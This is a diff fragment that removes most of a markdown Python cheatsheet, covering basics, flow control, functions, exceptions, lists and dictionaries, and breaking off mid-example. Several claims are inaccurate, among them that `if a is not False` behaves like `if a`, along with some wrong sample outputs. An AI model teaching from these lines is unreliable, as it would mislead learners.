-    - [The Multiple Assignment Trick](#the-multiple-assignment-trick)
-    - [Augmented Assignment Operators](#augmented-assignment-operators)
-    - [Finding a Value in a List with the index() Method](#finding-a-value-in-a-list-with-the-index-method)
-    - [Adding Values to Lists with the append() and insert() Methods](#adding-values-to-lists-with-the-append-and-insert-methods)
-    - [Removing Values from Lists with remove()](#removing-values-from-lists-with-remove)
-    - [Removing Values from Lists with pop()](#removing-values-from-lists-with-pop)
-    - [Sorting the Values in a List with the sort() Method](#sorting-the-values-in-a-list-with-the-sort-method)
-    - [Tuple Data Type](#tuple-data-type)
-    - [Converting Types with the list() and tuple() Functions](#converting-types-with-the-list-and-tuple-functions)
-  - [Dictionaries and Structuring Data](#dictionaries-and-structuring-data)
-    - [The keys(), values(), and items() Methods](#the-keys-values-and-items-methods)
-    - [Checking Whether a Key or Value Exists in a Dictionary](#checking-whether-a-key-or-value-exists-in-a-dictionary)
-    - [The get() Method](#the-get-method)
-    - [The setdefault() Method](#the-setdefault-method)
-    - [Pretty Printing](#pretty-printing)
-    - [Merge two dictionaries](#merge-two-dictionaries)
-  - [sets](#sets)
-    - [Initializing a set](#initializing-a-set)
-    - [sets: unordered collections of unique elements](#sets-unordered-collections-of-unique-elements)
-    - [set add() and update()](#set-add-and-update)
-    - [set remove() and discard()](#set-remove-and-discard)
-    - [set union()](#set-union)
-    - [set intersection](#set-intersection)
-    - [set difference](#set-difference)
-    - [set symetric_difference](#set-symetric_difference)
-  - [itertools Module](#itertools-module)
-    - [accumulate()](#accumulate)
-    - [combinations()](#combinations)
-    - [combinations_with_replacement()](#combinations_with_replacement)
-    - [count()](#count)
-    - [cycle()](#cycle)
-    - [chain()](#chain)
-    - [compress()](#compress)
-    - [dropwhile()](#dropwhile)
-    - [filterfalse()](#filterfalse)
-    - [groupby()](#groupby)
-    - [islice()](#islice)
-    - [permutations()](#permutations)
-    - [product()](#product)
-    - [repeat()](#repeat)
-    - [starmap()](#starmap)
-    - [takewhile()](#takewhile)
-    - [tee()](#tee)
-    - [zip_longest()](#zip_longest)
-  - [Comprehensions](#comprehensions)
-    - [List comprehension](#list-comprehension)
-    - [Set comprehension](#set-comprehension)
-    - [Dict comprehension](#dict-comprehension)
-  - [Manipulating Strings](#manipulating-strings)
-    - [Escape Characters](#escape-characters)
-    - [Raw Strings](#raw-strings)
-    - [Multiline Strings with Triple Quotes](#multiline-strings-with-triple-quotes)
-    - [Indexing and Slicing Strings](#indexing-and-slicing-strings)
-    - [The in and not in Operators with Strings](#the-in-and-not-in-operators-with-strings)
-    - [The in and not in Operators with list](#the-in-and-not-in-operators-with-list)
-    - [The upper(), lower(), isupper(), and islower() String Methods](#the-upper-lower-isupper-and-islower-string-methods)
-    - [The isX String Methods](#the-isx-string-methods)
-    - [The startswith() and endswith() String Methods](#the-startswith-and-endswith-string-methods)
-    - [The join() and split() String Methods](#the-join-and-split-string-methods)
-    - [Justifying Text with rjust(), ljust(), and center()](#justifying-text-with-rjust-ljust-and-center)
-    - [Removing Whitespace with strip(), rstrip(), and lstrip()](#removing-whitespace-with-strip-rstrip-and-lstrip)
-    - [Copying and Pasting Strings with the pyperclip Module (need pip install)](#copying-and-pasting-strings-with-the-pyperclip-module-need-pip-install)
-  - [String Formatting](#string-formatting)
-    - [% operator](#-operator)
-    - [String Formatting (str.format)](#string-formatting-strformat)
-    - [Lazy string formatting](#lazy-string-formatting)
-    - [Formatted String Literals or f-strings (Python 3.6+)](#formatted-string-literals-or-f-strings-python-36)
-    - [Template Strings](#template-strings)
-  - [Regular Expressions](#regular-expressions)
-    - [Matching Regex Objects](#matching-regex-objects)
-    - [Grouping with Parentheses](#grouping-with-parentheses)
-    - [Matching Multiple Groups with the Pipe](#matching-multiple-groups-with-the-pipe)
-    - [Optional Matching with the Question Mark](#optional-matching-with-the-question-mark)
-    - [Matching Zero or More with the Star](#matching-zero-or-more-with-the-star)
-    - [Matching One or More with the Plus](#matching-one-or-more-with-the-plus)
-    - [Matching Specific Repetitions with Curly Brackets](#matching-specific-repetitions-with-curly-brackets)
-    - [Greedy and Nongreedy Matching](#greedy-and-nongreedy-matching)
-    - [The findall() Method](#the-findall-method)
-    - [Making Your Own Character Classes](#making-your-own-character-classes)
-    - [The Caret and Dollar Sign Characters](#the-caret-and-dollar-sign-characters)
-    - [The Wildcard Character](#the-wildcard-character)
-    - [Matching Everything with Dot-Star](#matching-everything-with-dot-star)
-    - [Matching Newlines with the Dot Character](#matching-newlines-with-the-dot-character)
-    - [Review of Regex Symbols](#review-of-regex-symbols)
-    - [Case-Insensitive Matching](#case-insensitive-matching)
-    - [Substituting Strings with the sub() Method](#substituting-strings-with-the-sub-method)
-    - [Managing Complex Regexes](#managing-complex-regexes)
-  - [Handling File and Directory Paths](#handling-file-and-directory-paths)
-    - [Backslash on Windows and Forward Slash on OS X and Linux](#backslash-on-windows-and-forward-slash-on-os-x-and-linux)
-    - [The Current Working Directory](#the-current-working-directory)
-    - [Creating New Folders](#creating-new-folders)
-    - [Absolute vs. Relative Paths](#absolute-vs-relative-paths)
-    - [Handling Absolute and Relative Paths](#handling-absolute-and-relative-paths)
-    - [Checking Path Validity](#checking-path-validity)
-    - [Finding File Sizes and Folder Contents](#finding-file-sizes-and-folder-contents)
-    - [Copying Files and Folders](#copying-files-and-folders)
-    - [Moving and Renaming Files and Folders](#moving-and-renaming-files-and-folders)
-    - [Permanently Deleting Files and Folders](#permanently-deleting-files-and-folders)
-    - [Safe Deletes with the send2trash Module](#safe-deletes-with-the-send2trash-module)
-    - [Walking a Directory Tree](#walking-a-directory-tree)
-  - [Reading and Writing Files](#reading-and-writing-files)
-    - [The File Reading/Writing Process](#the-file-readingwriting-process)
-    - [Opening and reading files with the open() function](#opening-and-reading-files-with-the-open-function)
-    - [Writing to Files](#writing-to-files)
-    - [Saving Variables with the shelve Module](#saving-variables-with-the-shelve-module)
-    - [Saving Variables with the pprint.pformat() Function](#saving-variables-with-the-pprintpformat-function)
-    - [Reading ZIP Files](#reading-zip-files)
-    - [Extracting from ZIP Files](#extracting-from-zip-files)
-    - [Creating and Adding to ZIP Files](#creating-and-adding-to-zip-files)
-  - [JSON, YAML and configuration files](#json-yaml-and-configuration-files)
-    - [JSON](#json)
-    - [YAML](#yaml)
-    - [Anyconfig](#anyconfig)
-  - [Debugging](#debugging)
-    - [Raising Exceptions](#raising-exceptions)
-    - [Getting the Traceback as a String](#getting-the-traceback-as-a-string)
-    - [Assertions](#assertions)
-    - [Logging](#logging)
-    - [Logging Levels](#logging-levels)
-    - [Disabling Logging](#disabling-logging)
-    - [Logging to a File](#logging-to-a-file)
-  - [Lambda Functions](#lambda-functions)
-  - [Ternary Conditional Operator](#ternary-conditional-operator)
-  - [args and kwargs](#args-and-kwargs)
-    - [Things to Remember(args)](#things-to-rememberargs)
-    - [Things to Remember(kwargs)](#things-to-rememberkwargs)
-  - [Context Manager](#context-manager)
-    - [with statement](#with-statement)
-    - [Writing your own contextmanager using generator syntax](#writing-your-own-contextmanager-using-generator-syntax)
-  - [`__main__` Top-level script environment](#__main__-top-level-script-environment)
-    - [Advantages](#advantages)
-  - [setup.py](#setuppy)
-  - [Dataclasses](#dataclasses)
-    - [Features](#features)
-    - [Default values](#default-values)
-    - [Type hints](#type-hints)
-  - [Virtual Environment](#virtual-environment)
-    - [virtualenv](#virtualenv)
-    - [poetry](#poetry)
-    - [pipenv](#pipenv)
-    - [anaconda](#anaconda)
-
-## The Zen of Python
-
-From the [PEP 20 -- The Zen of Python](https://www.python.org/dev/peps/pep-0020/):
-
-> Long time Pythoneer Tim Peters succinctly channels the BDFL's guiding principles for Python's design into 20 aphorisms, only 19 of which have been written down.
-
-```python
->>> import this
-The Zen of Python, by Tim Peters
-
-Beautiful is better than ugly.
-Explicit is better than implicit.
-Simple is better than complex.
-Complex is better than complicated.
-Flat is better than nested.
-Sparse is better than dense.
-Readability counts.
-Special cases aren't special enough to break the rules.
-Although practicality beats purity.
-Errors should never pass silently.
-Unless explicitly silenced.
-In the face of ambiguity, refuse the temptation to guess.
-There should be one-- and preferably only one --obvious way to do it.
-Although that way may not be obvious at first unless you're Dutch.
-Now is better than never.
-Although never is often better than *right* now.
-If the implementation is hard to explain, it's a bad idea.
-If the implementation is easy to explain, it may be a good idea.
-Namespaces are one honking great idea -- let's do more of those!
-````
-
-_Return to the Top_
-
-## Python Basics
-
-### Math Operators
-
-From **Highest** to **Lowest** precedence:
-
-| Operators | Operation         | Example         |
-| --------- | ----------------- | --------------- |
-| \*\*      | Exponent          | `2 ** 3 = 8`    |
-| %         | Modulus/Remainder | `22 % 8 = 6`    |
-| //        | Integer division  | `22 // 8 = 2`   |
-| /         | Division          | `22 / 8 = 2.75` |
-| \*        | Multiplication    | `3 * 3 = 9`     |
-| -         | Subtraction       | `5 - 2 = 3`     |
-| +         | Addition          | `2 + 2 = 4`     |
-
-Examples of expressions in the interactive shell:
-
-```python
->>> 2 + 3 * 6
-20
-```
-
-```python
->>> (2 + 3) * 6
-30
-```
-
-```python
->>> 2 ** 8
-256
-```
-
-```python
->>> 23 // 7
-3
-```
-
-```python
->>> 23 % 7
-2
-```
-
-```python
->>> (5 - 1) * ((7 + 1) / (3 - 1))
-16.0
-```
-
-_Return to the Top_
-
-### Data Types
-
-| Data Type              | Examples                                  |
-| ---------------------- | ----------------------------------------- |
-| Integers               | `-2, -1, 0, 1, 2, 3, 4, 5`                |
-| Floating-point numbers | `-1.25, -1.0, --0.5, 0.0, 0.5, 1.0, 1.25` |
-| Strings                | `'a', 'aa', 'aaa', 'Hello!', '11 cats'`   |
-
-_Return to the Top_
-
-### String Concatenation and Replication
-
-String concatenation:
-
-```python
->>> 'Alice' 'Bob'
-'AliceBob'
-```
-
-Note: Avoid `+` operator for string concatenation. Prefer string formatting.
-
-String Replication:
-
-```python
->>> 'Alice' * 5
-'AliceAliceAliceAliceAlice'
-```
-
-_Return to the Top_
-
-### Variables
-
-You can name a variable anything as long as it obeys the following rules:
-
-1. It can be only one word.
-2. It can use only letters, numbers, and the underscore (`_`) character.
-3. It can't begin with a number.
-4. Variable name starting with an underscore (`_`) are considered as "unuseful\`.
-
-Example:
-
-```python
->>> spam = 'Hello'
->>> spam
-'Hello'
-```
-
-```python
->>> _spam = 'Hello'
-```
-
-`_spam` should not be used again in the code.
-
-_Return to the Top_
-
-### Comments
-
-Inline comment:
-
-```python
-# This is a comment
-```
-
-Multiline comment:
-
-```
-# This is a
-# multiline comment
-```
-
-Code with a comment:
-
-```python
-a = 1  # initialization
-```
-
-Please note the two spaces in front of the comment.
-
-Function docstring:
-
-```python
-def foo():
-    """
-    This is a function docstring
-    You can also use:
-    ''' Function Docstring '''
-    """
-```
-
-_Return to the Top_
-
-### The print() Function
-
-```python
->>> print('Hello world!')
-Hello world!
-```
-
-```python
->>> a = 1
->>> print('Hello world!', a)
-Hello world! 1
-```
-
-_Return to the Top_
-
-### The input() Function
-
-Example Code:
-
-```python
->>> print('What is your name?')   # ask for their name
->>> myName = input()
->>> print('It is good to meet you, {}'.format(myName))
-What is your name?
-Al
-It is good to meet you, Al
-```
-
-_Return to the Top_
-
-### The len() Function
-
-Evaluates to the integer value of the number of characters in a string:
-
-```python
->>> len('hello')
-5
-```
-
-Note: test of emptiness of strings, lists, dictionary, etc, should **not** use len, but prefer direct boolean evaluation.
-
-```python
->>> a = [1, 2, 3]
->>> if a:
->>>     print("the list is not empty!")
-```
-
-_Return to the Top_
-
-### The str(), int(), and float() Functions
-
-Integer to String or Float:
-
-```python
->>> str(29)
-'29'
-```
-
-```python
->>> print('I am {} years old.'.format(str(29)))
-I am 29 years old.
-```
-
-```python
->>> str(-3.14)
-'-3.14'
-```
-
-Float to Integer:
-
-```python
->>> int(7.7)
-7
-```
-
-```python
->>> int(7.7) + 1
-8
-```
-
-_Return to the Top_
-
-## Flow Control
-
-### Comparison Operators
-
-| Operator | Meaning                  |
-| -------- | ------------------------ |
-| `==`     | Equal to                 |
-| `!=`     | Not equal to             |
-| `<`      | Less than                |
-| `>`      | Greater Than             |
-| `<=`     | Less than or Equal to    |
-| `>=`     | Greater than or Equal to |
-
-These operators evaluate to True or False depending on the values you give them.
-
-Examples:
-
-```python
->>> 42 == 42
-True
-```
-
-```python
->>> 40 == 42
-False
-```
-
-```python
->>> 'hello' == 'hello'
-True
-```
-
-```python
->>> 'hello' == 'Hello'
-False
-```
-
-```python
->>> 'dog' != 'cat'
-True
-```
-
-```python
->>> 42 == 42.0
-True
-```
-
-```python
->>> 42 == '42'
-False
-```
-
-### Boolean evaluation
-
-Never use `==` or `!=` operator to evaluate boolean operation. Use the `is` or `is not` operators, or use implicit boolean evaluation.
-
-NO (even if they are valid Python):
-
-```python
->>> True == True
-True
-```
-
-```python
->>> True != False
-True
-```
-
-YES (even if they are valid Python):
-
-```python
->>> True is True
-True
-```
-
-```python
->>> True is not False
-True
-```
-
-These statements are equivalent:
-
-```
->>> if a is True:
->>>    pass
->>> if a is not False:
->>>    pass
->>> if a:
->>>    pass
-```
-
-And these as well:
-
-```
->>> if a is False:
->>>    pass
->>> if a is not True:
->>>    pass
->>> if not a:
->>>    pass
-```
-
-_Return to the Top_
-
-### Boolean Operators
-
-There are three Boolean operators: and, or, and not.
-
-The _and_ Operator's _Truth_ Table:
-
-| Expression        | Evaluates to |
-| ----------------- | ------------ |
-| `True and True`   | `True`       |
-| `True and False`  | `False`      |
-| `False and True`  | `False`      |
-| `False and False` | `False`      |
-
-The _or_ Operator's _Truth_ Table:
-
-| Expression       | Evaluates to |
-| ---------------- | ------------ |
-| `True or True`   | `True`       |
-| `True or False`  | `True`       |
-| `False or True`  | `True`       |
-| `False or False` | `False`      |
-
-The _not_ Operator's _Truth_ Table:
-
-| Expression  | Evaluates to |
-| ----------- | ------------ |
-| `not True`  | `False`      |
-| `not False` | `True`       |
-
-_Return to the Top_
-
-### Mixing Boolean and Comparison Operators
-
-```python
->>> (4 < 5) and (5 < 6)
-True
-```
-
-```python
->>> (4 < 5) and (9 < 6)
-False
-```
-
-```python
->>> (1 == 2) or (2 == 2)
-True
-```
-
-You can also use multiple Boolean operators in an expression, along with the comparison operators:
-
-```python
->>> 2 + 2 == 4 and not 2 + 2 == 5 and 2 * 2 == 2 + 2
-True
-```
-
-_Return to the Top_
-
-### if Statements
-
-```python
-if name == 'Alice':
-    print('Hi, Alice.')
-```
-
-_Return to the Top_
-
-### else Statements
-
-```python
-name = 'Bob'
-if name == 'Alice':
-    print('Hi, Alice.')
-else:
-    print('Hello, stranger.')
-```
-
-_Return to the Top_
-
-### elif Statements
-
-```python
-name = 'Bob'
-age = 5
-if name == 'Alice':
-    print('Hi, Alice.')
-elif age < 12:
-    print('You are not Alice, kiddo.')
-```
-
-```python
-name = 'Bob'
-age = 30
-if name == 'Alice':
-    print('Hi, Alice.')
-elif age < 12:
-    print('You are not Alice, kiddo.')
-else:
-    print('You are neither Alice nor a little kid.')
-```
-
-_Return to the Top_
-
-### while Loop Statements
-
-```python
-spam = 0
-while spam < 5:
-    print('Hello, world.')
-    spam = spam + 1
-```
-
-_Return to the Top_
-
-### break Statements
-
-If the execution reaches a break statement, it immediately exits the while loop's clause:
-
-```python
-while True:
-    print('Please type your name.')
-    name = input()
-    if name == 'your name':
-        break
-print('Thank you!')
-```
-
-_Return to the Top_
-
-### continue Statements
-
-When the program execution reaches a continue statement, the program execution immediately jumps back to the start of the loop.
-
-```python
-while True:
-    print('Who are you?')
-    name = input()
-    if name != 'Joe':
-        continue
-    print('Hello, Joe. What is the password? (It is a fish.)')
-    password = input()
-    if password == 'swordfish':
-        break
-print('Access granted.')
-```
-
-_Return to the Top_
-
-### for Loops and the range() Function
-
-```python
->>> print('My name is')
->>> for i in range(5):
->>>     print('Jimmy Five Times ({})'.format(str(i)))
-My name is
-Jimmy Five Times (0)
-Jimmy Five Times (1)
-Jimmy Five Times (2)
-Jimmy Five Times (3)
-Jimmy Five Times (4)
-```
-
-The _range()_ function can also be called with three arguments. The first two arguments will be the start and stop values, and the third will be the step argument. The step is the amount that the variable is increased by after each iteration.
-
-```python
->>> for i in range(0, 10, 2):
->>>    print(i)
-0
-2
-4
-6
-8
-```
-
-You can even use a negative number for the step argument to make the for loop count down instead of up.
-
-```python
->>> for i in range(5, -1, -1):
->>>     print(i)
-5
-4
-3
-2
-1
-0
-```
-
-### For else statement
-
-This allows to specify a statement to execute in case of the full loop has been executed. Only useful when a `break` condition can occur in the loop:
-
-```python
->>> for i in [1, 2, 3, 4, 5]:
->>>    if i == 3:
->>>        break
->>> else:
->>>    print("only executed when no item of the list is equal to 3")
-```
-
-_Return to the Top_
-
-### Importing Modules
-
-```python
-import random
-for i in range(5):
-    print(random.randint(1, 10))
-```
-
-```python
-import random, sys, os, math
-```
-
-```python
-from random import *
-```
-
-_Return to the Top_
-
-### Ending a Program Early with sys.exit()
-
-```python
-import sys
-
-while True:
-    print('Type exit to exit.')
-    response = input()
-    if response == 'exit':
-        sys.exit()
-    print('You typed {}.'.format(response))
-```
-
-_Return to the Top_
-
-## Functions
-
-```python
->>> def hello(name):
->>>     print('Hello {}'.format(name))
->>>
->>> hello('Alice')
->>> hello('Bob')
-Hello Alice
-Hello Bob
-```
-
-_Return to the Top_
-
-### Return Values and return Statements
-
-When creating a function using the def statement, you can specify what the return value should be with a return statement. A return statement consists of the following:
-
--   The return keyword.
--   The value or expression that the function should return.
-
-```python
-import random
-def getAnswer(answerNumber):
-    if answerNumber == 1:
-        return 'It is certain'
-    elif answerNumber == 2:
-        return 'It is decidedly so'
-    elif answerNumber == 3:
-        return 'Yes'
-    elif answerNumber == 4:
-        return 'Reply hazy try again'
-    elif answerNumber == 5:
-        return 'Ask again later'
-    elif answerNumber == 6:
-        return 'Concentrate and ask again'
-    elif answerNumber == 7:
-        return 'My reply is no'
-    elif answerNumber == 8:
-        return 'Outlook not so good'
-    elif answerNumber == 9:
-        return 'Very doubtful'
-
-r = random.randint(1, 9)
-fortune = getAnswer(r)
-print(fortune)
-```
-
-_Return to the Top_
-
-### The None Value
-
-```python
->>> spam = print('Hello!')
-Hello!
-```
-
-```python
->>> spam is None
-True
-```
-
-Note: never compare to `None` with the `==` operator. Always use `is`.
-
-_Return to the Top_
-
-### Keyword Arguments and print()
-
-```python
->>> print('Hello', end='')
->>> print('World')
-HelloWorld
-```
-
-```python
->>> print('cats', 'dogs', 'mice')
-cats dogs mice
-```
-
-```python
->>> print('cats', 'dogs', 'mice', sep=',')
-cats,dogs,mice
-```
-
-_Return to the Top_
-
-### Local and Global Scope
-
--   Code in the global scope cannot use any local variables.
--   However, a local scope can access global variables.
--   Code in a function's local scope cannot use variables in any other local scope.
--   You can use the same name for different variables if they are in different scopes. That is, there can be a local variable named spam and a global variable also named spam.
-
-_Return to the Top_
-
-### The global Statement
-
-If you need to modify a global variable from within a function, use the global statement:
-
-```python
->>> def spam():
->>>     global eggs
->>>     eggs = 'spam'
->>>
->>> eggs = 'global'
->>> spam()
->>> print(eggs)
-spam
-```
-
-There are four rules to tell whether a variable is in a local scope or global scope:
-
-1. If a variable is being used in the global scope (that is, outside of all functions), then it is always a global variable.
-2. If there is a global statement for that variable in a function, it is a global variable.
-3. Otherwise, if the variable is used in an assignment statement in the function, it is a local variable.
-4. But if the variable is not used in an assignment statement, it is a global variable.
-
-_Return to the Top_
-
-## Exception Handling
-
-### Basic exception handling
-
-```python
->>> def spam(divideBy):
->>>     try:
->>>         return 42 / divideBy
->>>     except ZeroDivisionError as e:
->>>         print('Error: Invalid argument: {}'.format(e))
->>>
->>> print(spam(2))
->>> print(spam(12))
->>> print(spam(0))
->>> print(spam(1))
-21.0
-3.5
-Error: Invalid argument: division by zero
-None
-42.0
-```
-
-_Return to the Top_
-
-### Final code in exception handling
-
-Code inside the `finally` section is always executed, no matter if an exception has been raised or not, and even if an exception is not caught.
-
-```python
->>> def spam(divideBy):
->>>     try:
->>>         return 42 / divideBy
->>>     except ZeroDivisionError as e:
->>>         print('Error: Invalid argument: {}'.format(e))
->>>     finally:
->>>         print("-- division finished --")
->>> print(spam(2))
--- division finished --
-21.0
->>> print(spam(12))
--- division finished --
-3.5
->>> print(spam(0))
-Error: Invalid Argument division by zero
--- division finished --
-None
->>> print(spam(1))
--- division finished --
-42.0
-```
-
-_Return to the Top_
-
-## Lists
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
-
->>> spam
-['cat', 'bat', 'rat', 'elephant']
-```
-
-_Return to the Top_
-
-### Getting Individual Values in a List with Indexes
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[0]
-'cat'
-```
-
-```python
->>> spam[1]
-'bat'
-```
-
-```python
->>> spam[2]
-'rat'
-```
-
-```python
->>> spam[3]
-'elephant'
-```
-
-_Return to the Top_
-
-### Negative Indexes
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[-1]
-'elephant'
-```
-
-```python
->>> spam[-3]
-'bat'
-```
-
-```python
->>> 'The {} is afraid of the {}.'.format(spam[-1], spam[-3])
-'The elephant is afraid of the bat.'
-```
-
-_Return to the Top_
-
-### Getting Sublists with Slices
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[0:4]
-['cat', 'bat', 'rat', 'elephant']
-```
-
-```python
->>> spam[1:3]
-['bat', 'rat']
-```
-
-```python
->>> spam[0:-1]
-['cat', 'bat', 'rat']
-```
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[:2]
-['cat', 'bat']
-```
-
-```python
->>> spam[1:]
-['bat', 'rat', 'elephant']
-```
-
-Slicing the complete list will perform a copy:
-
-```python
->>> spam2 = spam[:]
-['cat', 'bat', 'rat', 'elephant']
->>> spam.append('dog')
->>> spam
-['cat', 'bat', 'rat', 'elephant', 'dog']
->>> spam2
-['cat', 'bat', 'rat', 'elephant']
-```
-
-_Return to the Top_
-
-### Getting a List's Length with len()
-
-```python
->>> spam = ['cat', 'dog', 'moose']
->>> len(spam)
-3
-```
-
-_Return to the Top_
-
-### Changing Values in a List with Indexes
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> spam[1] = 'aardvark'
-
->>> spam
-['cat', 'aardvark', 'rat', 'elephant']
-
->>> spam[2] = spam[1]
-
->>> spam
-['cat', 'aardvark', 'aardvark', 'elephant']
-
->>> spam[-1] = 12345
-
->>> spam
-['cat', 'aardvark', 'aardvark', 12345]
-```
-
-_Return to the Top_
-
-### List Concatenation and List Replication
-
-```python
->>> [1, 2, 3] + ['A', 'B', 'C']
-[1, 2, 3, 'A', 'B', 'C']
-
->>> ['X', 'Y', 'Z'] * 3
-['X', 'Y', 'Z', 'X', 'Y', 'Z', 'X', 'Y', 'Z']
-
->>> spam = [1, 2, 3]
-
->>> spam = spam + ['A', 'B', 'C']
-
->>> spam
-[1, 2, 3, 'A', 'B', 'C']
-```
-
-_Return to the Top_
-
-### Removing Values from Lists with del Statements
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
->>> del spam[2]
->>> spam
-['cat', 'bat', 'elephant']
-```
-
-```python
->>> del spam[2]
->>> spam
-['cat', 'bat']
-```
-
-_Return to the Top_
-
-### Using for Loops with Lists
-
-```python
->>> supplies = ['pens', 'staplers', 'flame-throwers', 'binders']
->>> for i, supply in enumerate(supplies):
->>>     print('Index {} in supplies is: {}'.format(str(i), supply))
-Index 0 in supplies is: pens
-Index 1 in supplies is: staplers
-Index 2 in supplies is: flame-throwers
-Index 3 in supplies is: binders
-```
-
-_Return to the Top_
-
-### Looping Through Multiple Lists with zip()
-
-```python
->>> name = ['Pete', 'John', 'Elizabeth']
->>> age = [6, 23, 44]
->>> for n, a in zip(name, age):
->>>     print('{} is {} years old'.format(n, a))
-Pete is 6 years old
-John is 23 years old
-Elizabeth is 44 years old
-```
-
-### The in and not in Operators
-
-```python
->>> 'howdy' in ['hello', 'hi', 'howdy', 'heyas']
-True
-```
-
-```python
->>> spam = ['hello', 'hi', 'howdy', 'heyas']
->>> 'cat' in spam
-False
-```
-
-```python
->>> 'howdy' not in spam
-False
-```
-
-```python
->>> 'cat' not in spam
-True
-```
-
-_Return to the Top_
-
-### The Multiple Assignment Trick
-
-The multiple assignment trick is a shortcut that lets you assign multiple variables with the values in a list in one line of code. So instead of doing this:
-
-```python
->>> cat = ['fat', 'orange', 'loud']
-
->>> size = cat[0]
-
->>> color = cat[1]
-
->>> disposition = cat[2]
-```
-
-You could type this line of code:
-
-```python
->>> cat = ['fat', 'orange', 'loud']
-
->>> size, color, disposition = cat
-```
-
-The multiple assignment trick can also be used to swap the values in two variables:
-
-```python
->>> a, b = 'Alice', 'Bob'
->>> a, b = b, a
->>> print(a)
-'Bob'
-```
-
-```python
->>> print(b)
-'Alice'
-```
-
-_Return to the Top_
-
-### Augmented Assignment Operators
-
-| Operator    | Equivalent        |
-| ----------- | ----------------- |
-| `spam += 1` | `spam = spam + 1` |
-| `spam -= 1` | `spam = spam - 1` |
-| `spam *= 1` | `spam = spam * 1` |
-| `spam /= 1` | `spam = spam / 1` |
-| `spam %= 1` | `spam = spam % 1` |
-
-Examples:
-
-```python
->>> spam = 'Hello'
->>> spam += ' world!'
->>> spam
-'Hello world!'
-
->>> bacon = ['Zophie']
->>> bacon *= 3
->>> bacon
-['Zophie', 'Zophie', 'Zophie']
-```
-
-_Return to the Top_
-
-### Finding a Value in a List with the index() Method
-
-```python
->>> spam = ['Zophie', 'Pooka', 'Fat-tail', 'Pooka']
-
->>> spam.index('Pooka')
-1
-```
-
-_Return to the Top_
-
-### Adding Values to Lists with the append() and insert() Methods
-
-**append()**:
-
-```python
->>> spam = ['cat', 'dog', 'bat']
-
->>> spam.append('moose')
-
->>> spam
-['cat', 'dog', 'bat', 'moose']
-```
-
-**insert()**:
-
-```python
->>> spam = ['cat', 'dog', 'bat']
-
->>> spam.insert(1, 'chicken')
-
->>> spam
-['cat', 'chicken', 'dog', 'bat']
-```
-
-_Return to the Top_
-
-### Removing Values from Lists with remove()
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
-
->>> spam.remove('bat')
-
->>> spam
-['cat', 'rat', 'elephant']
-```
-
-If the value appears multiple times in the list, only the first instance of the value will be removed.
-
-_Return to the Top_
-
-### Removing Values from Lists with pop()
-
-```python
->>> spam = ['cat', 'bat', 'rat', 'elephant']
-
->>> spam.pop()
-'elephant'
-
->>> spam
-['cat', 'bat', 'rat']
-
->>> spam.pop(0)
-'cat'
-
->>> spam
-['bat', 'rat']
-```
-
-_Return to the Top_
-
-### Sorting the Values in a List with the sort() Method
-
-```python
->>> spam = [2, 5, 3.14, 1, -7]
->>> spam.sort()
->>> spam
-[-7, 1, 2, 3.14, 5]
-```
-
-```python
->>> spam = ['ants', 'cats', 'dogs', 'badgers', 'elephants']
->>> spam.sort()
->>> spam
-['ants', 'badgers', 'cats', 'dogs', 'elephants']
-```
-
-You can also pass True for the reverse keyword argument to have sort() sort the values in reverse order:
-
-```python
->>> spam.sort(reverse=True)
->>> spam
-['elephants', 'dogs', 'cats', 'badgers', 'ants']
-```
-
-If you need to sort the values in regular alphabetical order, pass str. lower for the key keyword argument in the sort() method call:
-
-```python
->>> spam = ['a', 'z', 'A', 'Z']
->>> spam.sort(key=str.lower)
->>> spam
-['a', 'A', 'z', 'Z']
-```
-
-You can use the built-in function `sorted` to return a new list:
-
-```python
->>> spam = ['ants', 'cats', 'dogs', 'badgers', 'elephants']
->>> sorted(spam)
-['ants', 'badgers', 'cats', 'dogs', 'elephants']
-```
-
-_Return to the Top_
-
-### Tuple Data Type
-
-```python
->>> eggs = ('hello', 42, 0.5)
->>> eggs[0]
-'hello'
-```
-
-```python
->>> eggs[1:3]
-(42, 0.5)
-```
-
-```python
->>> len(eggs)
-3
-```
-
-The main way that tuples are different from lists is that tuples, like strings, are immutable.
-
-_Return to the Top_
-
-### Converting Types with the list() and tuple() Functions
-
-```python
->>> tuple(['cat', 'dog', 5])
-('cat', 'dog', 5)
-```
-
-```python
->>> list(('cat', 'dog', 5))
-['cat', 'dog', 5]
-```
-
-```python
->>> list('hello')
-['h', 'e', 'l', 'l', 'o']
-```
-
-_Return to the Top_
-
-## Dictionaries and Structuring Data
-
-Example Dictionary:
-
-```python
-myCat = {'size': 'fat', 'color': 'gray', 'disposition': 'loud'}
-```
-
-_Return to the Top_
-
-### The keys(), values(), and items() Methods
-
-values():
-
-```python
->>> spam = {'color': 'red', 'age': 42}
->>> for v in spam.values():
->>>     print(v)
-red
-42
-```
-
-keys():
-
-```python
->>> for k in spam.keys():
->>>     print(k)
-color
-age
-```
-
-items():
-
-```python
->>> for i in spam.items():
->>>     print(i)
-('color', 'red')
-('age', 42)
-```
-
-Using the keys(), values(), and items() methods, a for loop can iterate over the keys, values, or key-value pairs in a dictionary, respectively.
-
-```python
->>> spam = {'color': 'red', 'age': 42}
->>>
->>> for k, v in spam.items():
->>>     print('Key: {} Value: {}'.format(k, str(v)))
-Key: age Value: 42
-Key: color Value: red
-```
-
-_Return to the Top_
-
-### Checking Whether a Key or Value Exists in a Dictionary
-
-```python
->>> spam = {'name': 'Zophie', 'age': 7}
-```
-
-```python
->>> 'name' in spam.keys()
-True
-```
-
-```python
->>> 'Zophie' in spam.values()
-True
-```
-
-```python
->>> # You can omit the call to keys() when checking for a key
->>> 'color' in spam
-False
-```
-
-```python
->>> 'color' not in spam
-True
-```
-
-_Return to the Top_
-
-### The get() Method
-
-Get has two parameters: key and default value if the key did not exist
-
-```python
->>> picnic_items = {'apples': 5, 'cups': 2}
-
->>> 'I am bringing {} cups.'.format(str(picnic_items.get('cups', 0)))
-'I am bringing 2 cups.'
-```
-
-```python
->>> 'I am bringing {} eggs.'.format(str(picnic_items.get('eggs', 0)))
